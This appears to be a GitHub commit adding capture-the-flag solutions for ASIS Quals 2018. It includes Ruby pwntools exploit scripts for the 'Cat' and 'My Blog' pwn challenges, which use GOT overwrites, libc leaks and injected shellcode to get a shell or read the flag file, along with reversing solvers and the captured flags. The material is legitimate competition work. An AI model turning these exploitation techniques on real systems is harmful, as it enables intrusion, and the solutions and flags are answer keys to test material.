Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 649e70d

Browse files
david942jdavid942j
committed
asis-quals-2018
1 parent 563c755 commit 649e70d

File tree

8 files changed

+216
-0
lines changed

8 files changed

+216
-0
lines changed

‎README.md‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,13 @@
3434
* Molly Hooper (pwn 343pts)
3535
* Mycroft Holmes (pwn 131pts)
3636

37+
## asis-quals-2018
38+
39+
* Cat (pwn 68pts)
40+
* Density (rev 148pts)
41+
* My Blog (pwn 147pts)
42+
* The true origin (rev/crypto 394pts)
43+
3744
## codeblue-2017
3845

3946
* nonamestill (pwn 447pts)

‎asis-quals-2018/cat/cat.rb‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
#!/usr/bin/env ruby
2+
# encoding: ascii-8bit
3+
require 'pry'
4+
require 'pwn' # https://github.com/peter50216/pwntools-ruby
5+
require 'heapinfo' # https://github.com/david942j/heapinfo
6+
require 'one_gadget' # https://github.com/david942j/one_gadget
7+
8+
# @magic = one_gadget(file: './libc.so.6')[0]
9+
10+
host, port = '178.62.40.102', 6000
11+
@local = false
12+
if ARGV.empty?
13+
host = '127.0.0.1'; @local = true
14+
else
15+
raise ArgumentError, 'host not set' if host.empty?
16+
end
17+
$z = Sock.new host, port
18+
def z;$z;end
19+
@p = 'Cat'
20+
def h;@h ||= heapinfo(@p);end
21+
def elf; @elf ||= ELF.new(@p); end
22+
#================= Exploit Start ====================
23+
context.arch = 'amd64'
24+
# context.log_level = :debug
25+
def pt; z.gets '> '; end
26+
27+
def create(name, kind, old = 1)
28+
pt; z.puts 1
29+
pt; z.write name
30+
pt; z.write kind
31+
pt; z.puts old
32+
end
33+
34+
def edit(id, name, kind, yn)
35+
pt; z.puts 2
36+
pt; z.puts id
37+
pt; z.write name
38+
pt; z.write kind
39+
pt; z.puts 1
40+
pt; z.puts yn
41+
end
42+
43+
def free(id)
44+
pt; z.puts 5
45+
pt; z.puts id
46+
end
47+
48+
create('meow', 'meowkind'); id = 0
49+
edit(id, 'z', 'z', 'n')
50+
ptr_6 = 0x6020a0 + 6 * 8
51+
create('AAAA', ptr_6.p32); # 1
52+
edit(id, p32(elf.got.puts - 16), 'A', 'y')
53+
54+
pt; z.puts 3; pt; z.puts 6 # show id 6
55+
puts_off = 0x6f690
56+
z.gets 'old: '; libc = z.gets.to_i - puts_off
57+
log.dump libc.hex
58+
59+
# again!
60+
create("la", "lala"); id = 1
61+
edit(id, 'zz', 'zzz', 'n')
62+
create('AAAA', elf.got.free.p32) # 2
63+
system_off = 0x45390
64+
edit(id, (libc + system_off).p64[0, 7], 'sh;', 'n')
65+
66+
z.interact
67+
68+
# ubuntu 16.04
69+
# ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}

‎asis-quals-2018/density/short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
;����p�K��W~s�]���,?�"��C{���~-��4{��J�r[>w�t���� ������[�

‎asis-quals-2018/density/solve.rb‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#!/usr/bin/env ruby
2+
# encoding: ascii-8bit
3+
4+
require 'base64'
5+
6+
data = IO.binread('short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191')
7+
puts Base64.strict_encode64(data)
8+
.gsub('++e', '{')
9+
.gsub('+d', '}')
10+
.gsub('+c', '_')
11+
12+
# ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls}

‎asis-quals-2018/myblog/myblog.rb‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#!/usr/bin/env ruby
2+
# encoding: ascii-8bit
3+
require 'pry'
4+
require 'pwn' # https://github.com/peter50216/pwntools-ruby
5+
require 'heapinfo' # https://github.com/david942j/heapinfo
6+
require 'one_gadget' # https://github.com/david942j/one_gadget
7+
8+
# @magic = one_gadget(file: './libc.so.6')[0]
9+
10+
host, port = '159.65.125.233', 31337
11+
@local = false
12+
if ARGV.empty?
13+
host = '127.0.0.1'; @local = true
14+
else
15+
raise ArgumentError, 'host not set' if host.empty?
16+
end
17+
$z = Sock.new host, port
18+
def z;$z;end
19+
@p = 'myblog'
20+
def h;@h ||= heapinfo(@p);end
21+
def elf; @elf ||= ELF.new(@p); end
22+
#================= Exploit Start ====================
23+
context.arch = 'amd64'
24+
# context.log_level = :debug
25+
26+
# The mmap-ed address
27+
rand_buf = `./rnd`.to_i
28+
log.dump rand_buf.hex
29+
30+
def cmd(id)
31+
z.gets "Exit\n"
32+
z.write id.to_s.ljust(16, "\x00")
33+
end
34+
35+
def create(content = 'A' * 47, author = 'B' * 7)
36+
cmd(1)
37+
z.gets "Input"; z.write content
38+
z.gets "Input"; z.write author
39+
end
40+
41+
def fast_create(content = 'A' * 47, author = 'B' * 7)
42+
z.write 1.to_s.ljust(16, "\x00")
43+
z.write content
44+
z.write author
45+
end
46+
47+
0x41.times { fast_create }
48+
0x41.times { z.gets "Exit" }
49+
50+
def change(t)
51+
cmd(3)
52+
z.gets 'Owner : '
53+
z.write t.ljust(7, "\x00")
54+
end
55+
56+
def free(id)
57+
cmd(2)
58+
z.gets 'index'
59+
z.puts id
60+
end
61+
62+
cmd(31337)
63+
z.gets '0x'
64+
z.puts 'A' # do nothing
65+
elf_base = z.gets.to_i(16) - 0xef4
66+
h.offset(elf_base)
67+
change(p64(elf_base + 0x202040)[0, 6])
68+
69+
free(-1) # free rand_buf
70+
create('A' * 8 + p64(rand_buf + 8))
71+
# leak heap
72+
cmd(3)
73+
z.gets 'Old Owner : '
74+
heap = (z.recvn(6) + "\x00\x00").u64 - 0x260
75+
76+
# 7-byte read(0, 'rbp', 'rdx') shellcode!
77+
z.write asm("xchg eax, ebx; xor edi, edi; push rbp; pop rsi; syscall")
78+
h.offset(heap)
79+
80+
cmd(31337)
81+
z.gets '0x'
82+
z.write 'A' * 8 + (rand_buf + 0xf).p64 + p64(rand_buf + 8)
83+
84+
z.write asm(
85+
shellcraft.pushstr('/home/pwn/flag') +
86+
shellcraft.syscall('SYS_openat', -100, 'rsp', 0, 0) +
87+
shellcraft.syscall('SYS_sendfile', 1, 'rax', 0, 2147483647) +
88+
shellcraft.exit(0)
89+
)
90+
91+
z.interact
92+
93+
# ubuntu 17.10
94+
# ASIS{526eb5559eea12d1e965fe497b4abb0a308f2086}

‎asis-quals-2018/myblog/rnd.c‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#include <stdio.h>
2+
#include <time.h>
3+
#include <stdlib.h>
4+
5+
int main() {
6+
srand(time(NULL));
7+
printf("%d\n", rand() & 0xfffff000);
8+
return 0;
9+
}

‎asis-quals-2018/true_origin/flag.enc‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
6eacb9390c617f4201b9261cb033416cad93f4fc9d0131dd84e3b0860bbaf690f3e3d4f068f14473abdb4f81c7d8c44e98c70bd8fe7ef2c3e0c9964297603824

‎asis-quals-2018/true_origin/solve.rb‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/usr/bin/env ruby
2+
# encoding: ascii-8bit
3+
require 'pwn' # https://github.com/peter50216/pwntools-ruby
4+
require 'gdb' # https://github.com/david942j/gdb-ruby
5+
6+
dec = IO.binread('flag.enc').strip.unhex
7+
IO.binwrite('test', dec)
8+
9+
gdb = GDB::GDB.new('true_origin')
10+
base = 0x555555554000
11+
gdb.b(base + 0x152a) # 1
12+
# gdb.b(0x35fb + base)
13+
# gdb.b(0x315b + base) # 2
14+
gdb.run('test')
15+
key = gdb.readm(gdb.reg('rsi'), 40)
16+
log.dump key
17+
gdb.writem(gdb.reg('rsi'), key[20, 20])
18+
gdb.writem(gdb.reg('rsi') + 20, key[0, 20])
19+
# gdb.interact
20+
21+
puts gdb.continue
22+
23+
# ASIS{65e05d26ea3f3a2518e29fa77744f2b0}

0 commit comments

Comments
 (0)